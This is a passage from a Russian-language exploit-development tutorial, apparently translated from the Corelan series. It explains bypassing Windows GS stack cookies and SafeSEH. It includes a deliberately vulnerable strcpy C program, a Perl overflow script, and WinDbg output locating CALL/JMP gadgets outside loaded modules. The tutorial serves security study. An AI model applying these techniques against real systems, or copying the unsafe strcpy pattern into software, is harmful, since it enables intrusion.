0040211e 40 inc eax
0040211f 004800 add byte ptr [eax],cl
00402122 0000 add byte ptr [eax],al
00402124 0000 add byte ptr [eax],al
00402126 0000 add byte ptr [eax],al
00402128 0000 add byte ptr [eax],al
0040212a 0000 add byte ptr [eax],al
Вначале strcpy, стек установливается следующим образом:
(Сначала, на стеке, становятся доступными 32 байта (sup esp,20), что заставляет ESP указвать на 0x0012ff4c)
По адресу 0x0012FF78, мы видим указатель на vtable. Стек по адресу 0x0012ff5c содержит 0012ff78.
Cookie вначале помещаются в EAX, а затем ксорятся (XORed) с EBP. После чего, помещаются в стек (по адресу 0×001268)
После записи в стек строки «AAAABBBBCCCCDDDD» (т.е. происходит преполнение буфера), наши cookie перезаписываются символами «CCCC» и, в данный момент, мы готовы к перезаписии EIP символами «EEEE».
После того как переполнение будет выполнено, стек будет выглядеть так:
(Адресс 0x0012ff5c все еще указывает на адрес 0x0012ff78, который в свою очередь указывает на vtable расположенную по адресу 0x0040211c)
После выполнения strcpy (перезаписи стека), инструкция по адресу 0040104D будет пытаться получить и поместить в EAX адрес вирутальной функции bar().
До того, как эти инструкции будут выполены, ригистры выглядят так:
Затем, выполняются четыре инструкции, которые пытаются загрузить адрес функции в EAX…
Code:
0040104D |. 8B45 F0 MOV EAX,DWORD PTR SS:[EBP-10]
00401050 |. 8B10 MOV EDX,DWORD PTR DS:[EAX]
00401052 |. 8B4D F0 MOV ECX,DWORD PTR SS:[EBP-10]
00401055 |. 8B02 MOV EAX,DWORD PTR DS:[EDX]
Результатом выполнения этих четырех инструкций является следующее состояние регистров:
Затем осуществляется вызов CALL EAX (который пытается вызывать виртуальную функцию bar(), которая в дествительности расположена по адресу 00401070).
Code:
00401057 |. FFD0 CALL EAX ; gsvtable.00401070
Но, EAX сейчас содержит данные которые мы контролируем…
=> cookie были повреждены, но мы всё еще контролируем EIP (потому, что мы контролируем EAX и перезаписали указатель на vtable). EBP и EDX, кажется, указывают на наш буфер, так что создать эксплойт должно быть очень просто.
SafeSEH
SafeSEH еще один механизм безопасности, который предназначен для того, чтобы препятствовать атакам основанным на SEH. Данный механизм включается параметром компилятора (/SAFESEH), который может быть применен ко всем исполняемым модулям, таким как: .exe, .dll, etc (за подробностями обращайтесь к uninformed v5a2).
SafeSEH, в отличии от механизма защиты стека (который, помещает cookie перед адресом возврата), защищает цепочку обработчиков исключений. Если SEH-цепочка будет модифицированна, приложение завершит свое выполнение без перехода на обработчик исключений, сообщающий об ошибке. SafeSEH будет осуществлять проверку целостности SEH-цепочки перед тем, как перейти на обработчик исключений. Он осуществляет это последовательным «проходом по цепочке» до тех пор, пока не достигнет 0xffffff (конец цепочки), одновременно проверяя то, что он встретился с валидным фреймом.
Если вы хотите перезаписать SEH-обработчик, вам так же нужно презаписать next SEH… что повредит цепочку, что в свою очередь приведет к срабатыванию SafeSEH. Майкросовтовская реализация техники SafeSEH (на данный момент) довольно стабильна.
Обход SafeSEH: Введение
Как объяснялось в Уроке 3, единственный способ, спомощью которого можно обойти SafeSEH заключается в том, чтобы:
=> Не пытаться исполнять SEH-ориентированный эксплойт (а искать возможность прямой перезаписи
)
Или
=> Если уязвимое приложение и один или больше модулей (приложения или ОС) не скомпилированы с поддержкой SafeSEH, то вы можете использовать адрес, на последовательность инструкций «POP/POP/RET», который можно взять у одного из доступных модулей (скомпилированных без поддержки SafeSEH) и это будет работать. В сущности, рекомендуется искать модуль принадлежащий приложению, поскольку это сделает ваш эксплойт более надежным, при его запуске на различных версиях ОС, но если у вас есть модуль ОC, то это так же будет работать.
=> Если единственным модулем (без SafeSEH) является сам исполняемый файл приложения, то вы все еще можете проэксплуатировать уязвимость, но только при определенных условиях. Двоичный файл приложения будет (скорее всего) загружен по адресу, который начинается с нулевого байта. Если вы сможете найти в нем последовательность инструкций «POP/POP/RET», то вы сможете использовать этот адресс (нулевой байт будет в конце), однако вы не сможете поместить ваш шелкод после перезаписанного SEH-обработчика (потому, что шеллкод не будет помещен в память, так как нулевой байт будет действовать как ограничитель). Таким образом, эксплойт будет работать если:- шеллкод помещен в буфер перед тем, как nSEH/SHE будет перезаписан;
- на шеллкод можно сослаться, используя 4-х байтовый опкод (jumpcode), которым перезаписывается nSEH (здесь, может сработать трюк с отрицательным прижком);
- вы все еще можете вызывать исключение (которое, может не возникнуть, поскольку большинство исключений происходит во время переполнения стека, что не будет работать, когда вы остановитесь на перезаписи SEH).
За более подробной информацией о SEH и SafeSEH обращайтесь к:
http://www.corelan.be:8800/index.php...al-part-3-seh/ и http://www.corelan.be:8800/index.php...ample-part-3b/
Так же, большая часть этого Урока основана на работе Дэвида Личфилда (Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server)
Как уже говорилось ранее, начиная с Windows Server 2003, был добавлен новый механизм защиты. Этот механизм должен помочь пресечь злоупотребления с перезаписью обработчиков исключений. В кратце, механизм её работает описанн ниже:
В момент, когда вызывается указатель на обработчик исключений, функция KiUserExceptionDispatcher (из ntdll.dll) производит проверку на то, действительно ли указатель является валидным EH-указателем. Сначала, она попытается установить, не собирается ли код прыгать назад на адрес в стеке. Делает она это путем получения верхнего и нижнего адреса стека (просматривая запись TEB (Thread Environment Block), через FS:[4] и FS:[8]). Если обработчик исключений, находится в пределах этого диапазона (т.е. если он указывает на адресс в стеке), то обработчик не будет вызыван.
Если указатель на обработчик исключений не находится в стеке, адресс сверяется со списком загруженных модулей (и образом самого испольняемого файла), чтобы посмотреть не попадает ли он в адрессное пространство одного из этих модулей. Если попадает, то указатель сверяется со списком зарегистрированых обработчиков. Если находится соответствие – указатель принимается. Я не собираюсь обусуждать здесь подробности того, как этот указатель проверяется, но помните, что одна из ключевых проверок выполняется над Load Configuration Directory. Если модуль не имеет Load Configuration Directory, обработчик будет вызван.
Что если адрес не принадлежит диапозону загруженного модуля? Ну, в таком случае, обработчик считается безопасным и он будет вызван. (Это то, что мы называем Fail-Open security
)
Существует несколько возможных техник, которые могут быть использованы для этого нового типа защиты, т.е. SEH:- Если адрес обработчика исключений, находится вне адресного пространства загруженного модуля, то он будет выполнен.
- Если адрес обработчика исключение находится внутри адресного пространства модуля, этот модуль не имеет Load Configuration Directory и характеристики DLL позволяют нам пройти проверку SEH-обработчика, то указатель будет выполнен.
- Если адресс обработчика перезаписан адресом из стека, то он не будет выполнен. Но, если указатель перезаписан адресом из кучи (heap), он будет выполнен. Конечно, это предполагает то, что ваш эксплойт будет загружаться в кучу и уже там, будете пытаться предугадывать более или менее надежный адрес из неё же, который может быть использован для перенаправления потока испольнения. Это может быть сложным, так как этот адрес может быть не предсказуемым.
- Если структура exception_registration будет перезаписана, и указатель будет указывать на уже зарегистрированный обработчик исключений, который выполнит код, который поможет вам получить контроль. Конечно, эта техника подходит только тогда, когда код обработчика исключений не сломает шеллкод и в дествительности поможет положить контролируемый адрес в EIP. Правда, такое редко происходит, но иногда случается.
Обход SafeSEH: Используя адрес вне адресного пространства загруженных модулей
Загруженные модули или образ исполняемого файла, загруженный в память, во время работы приложения, скорее всего, будету содержать указатели на последовательность инструкций «POP/POP/RET», которые мы обычно используем, при создании SEH-ориентированных эксплойтов. Но это не единственное место в памяти, где мы можем найти подобные инструкции. Если мы можем найти инструкции «POP/POP/RET» в памяти вне адресного пространства загруженных модулей, и это место является постоянным (так как, например, оно принадлежит одному из процессов OC Windows), то этот адресс так же можно использовать. К сожалению, даже если вы найдете такой постоянный адресс, вы обнаружите, что этот одрес, вероятно, не будет тем же в других версиях ОС. Таким образом, эксплойт сможет работать только, если он нацелен на одну конкретную версию ОС.
Другим (возможно даже лучшим) способ преодоления этой «проблемы» будет поиск другого набора инструкций, например:- call dword ptr[esp+nn]
- jmp dword ptr[esp+nn]
- call dword ptr[ebp+nn]
- jmp dword ptr[ebp+nn]
- call dword ptr[ebp-nn]
- jmp dword ptr[ebp-nn]
(Возможные значения смещений для «nn», которые можно поискать: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)
Альтернативным вариантом может быть то, что если ESP+8 указывает на структуру exception_registration, то вы все еще можете найти комбинацию «POP/POP/RET» (в памяти вне адресного пространства загруженных модулей) и это будет работать. Наконец, вы можете найти последовательность «ADD ESP+8 / RET», которая обойдет SafeSEH.
Допустим, мы хотим найти «EBP+30». Преобразуем CALL и JMP инструкции в опкоды:
Code:
0:000> a
004010cb call dword ptr[ebp+0x30]
call dword ptr[ebp+0x30]
004010ce jmp dword ptr[ebp+0x30]
jmp dword ptr[ebp+0x30]
004010d1
0:000> u 004010cb
004010cb ff5530 call dword ptr [ebp+30h]
004010ce ff6530 jmp dword ptr [ebp+30h]
Теперь, попытаемся найти адресс, который бы содержал эти инструкции. Если он будет находится вне адресного пространства загруженых модулей и адресного пространства исполняемого файла, то мы можем победить!
Чтобы продемонстрировать это, мы будем использовать простой код, который использовался для объяснения GS-защиты (пример 1), для которого попытаемся создать рабочий эксплойт для OC Windows 2003 Server R2 SP2, Standard Edition (English).
Code: C/C++
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
void GetInput(char* str, char* out)
{
char buffer[500];
try
{
strcpy(buffer,str);
strcpy(out,buffer);
printf("Input received : %s\n",buffer);
}
catch (char * strErr)
{
printf("No valid input received ! \n");
printf("Exception : %s\n",strErr);
}
}
int main(int argc, char* argv[])
{
char buf2[128];
GetInput(argv[1],buf2);
return 0;
}
На этот раз, скомпилируйте этот код без поддержки /GS и /RTC, но с поддержкой SafeSEH (убедитесь, что в командной строке линкера «linker» устновлен параметр /safeseh, а не /safeseh:no).
ПРИМЕЧАНИЕ: Я запускаю Windows 2003 Server R2 SP2 Standard Edition (English), с DEP в режиме OptIn (так что DEP активен только для ядерных процессов Windows, что не входит в настройки по умолчанию для Windows 2003 Server R2 SP2, но не переживайте, мы обсудим DEP/NX позже).
Во время загрузки скомпилированного файлa в OllyDbg, мы увидим, что все модули и сам исполняемый файл защищены с помощью SafeSEH.
Мы сможем перезаписать SEH-структуру после 508 байтов. Таким образом, следующиq код поместит «BBBB» в next_seh а «DDDD» в seh:
Code: Perl
my $size=508;
$junk="A" x $size;
$junk=$junk."BBBB";
$junk=$junk."DDDD";
system("\"C:\\Program Files\\Debugging Tools for Windows (x86)\\windbg\" seh \"$junk\"\r\n");
Code:
Executable search path is:
ModLoad: 00400000 00406000 seh.exe
ModLoad: 7c800000 7c8c2000 ntdll.dll
ModLoad: 77e40000 77f42000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 78520000 785c3000 C:\WINDOWS\WinSxS\x86_Microsoft.VC90…dll
(c5c.c64): Break instruction exception - code 80000003 (first chance)
eax=78600000 ebx=7ffdb000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38
eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c81a3e1 cc int 3
0:000> g
(c5c.c64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
seh!GetInput+0xcb:
004010cb 8802 mov byte ptr [edx],al ds:0023:00130000=41
0:000> !exchain
0012fee0: 44444444
Invalid exception stack at 42424242
Окей, пока все хорошо. Теперь нам нужно найти адрес, который мы положим в SEH. Все модули (и исполняемый файл также) скомпилированны с поддержкой SafeSEH, поэтому мы не сможем использовать адреса из этих модулей.
Посему, давайте поищим в памяти инструкции «CALL/JMP DWORD PRT[reg+nn]». Мы знаем, что:
опкод ff 55 30 = call dword ptr [ebp+0x30], а опкод ff 65 30 = jmp dword ptr [ebp+0x30]:
Code:
0:000> s 0100000 l 77fffff ff 55 30
00270b0b ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e .U0......W0.....
В качестве альтернативы, вы можете использовать мой PyCommand pvefindaddr для Immunity Debugger, который поможет найти эти адреса. Команда !pvefindaddr jseh будет автоматически искать все комбинации CALL/JMP и перечислит только те, которые находятся в не адресного пространства модулей:
Обратите внимание, что скриншот, приведенный выше, взят из другой системы, поэтому, пожалуйста, сейчас, не берите в учет найденный на нем адрес. Если вы хотите получить копию этого плагина, то её можно скачать тут:
pvefindaddr for ImmDbg v1.73 (213.0 KiB, 2,117 hits)
Также, вы можете получить представление (view) карты памяти спомощью Immunity Debugger или OllyDbg, если вы сделаете это, то сможете увидеть, какому адресному пространству принадлежит найденый адрес:
Также, чтобы сдампить виртуальное адрессное пространство сегментов, вы можете использовать Microsoft vadump tool,
Вермнем к нашей поисковой операции. Если вы хотите найти больше инструкции (в основном благодаря увеличению области поиска), то удалитите значение смещения в вашем поисковой команде (или просто используйте плагин pvefindaddr в ImmDbg и вы сразу получите все результаты):
Code:
0:000> s 0100000 l 77fffff ff 55
00267643 ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3 .U.a.T.W...X....
00270b0b ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e .U0......W0.....
002fbfd8 ff 55 02 02 02 56 02 02-03 56 02 02 04 56 02 02 .U...V...V...V..
00401183 ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56 68 54 .U...E..W..t%VhT
0040149e ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4 8b 00 .U....E..E..E...
00401509 ff 55 14 eb f0 c7 45 e4-01 00 00 00 c7 45 fc fe .U....E......E..
00401542 ff 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d e0 75 .U...E....8csm.u
0040163e ff 55 8b ec ff 75 08 e8-4e ff ff ff f7 d8 1b c0 .U...u..N.......
004016b1 ff 55 8b ec 8b 4d 08 b8-4d 5a 00 00 66 39 01 74 .U...M..MZ..f9.t
004016f1 ff 55 8b ec 8b 45 08 8b-48 3c 03 c8 0f b7 41 14 .U...E..H<....A.
00401741 ff 55 8b ec 6a fe 68 e8-22 40 00 68 65 18 40 00 .U..j.h."@.he.@.
00401866 ff 55 8b ec ff 75 14 ff-75 10 ff 75 0c ff 75 08 .U...u..u..u..u.
004018b9 ff 55 8b ec 83 ec 10 a1-28 30 40 00 83 65 f8 00 .U......(0@..e..
0040198f ff 55 8b ec 81 ec 28 03-00 00 a3 80 31 40 00 89 .U....(.....1@..
Bingo! Теперь нам нужно найти адрес, которы будет делать переход на нашу структуру. Этот адрес не может находится в адресном пространстве бинарного файла или загруженных модулей.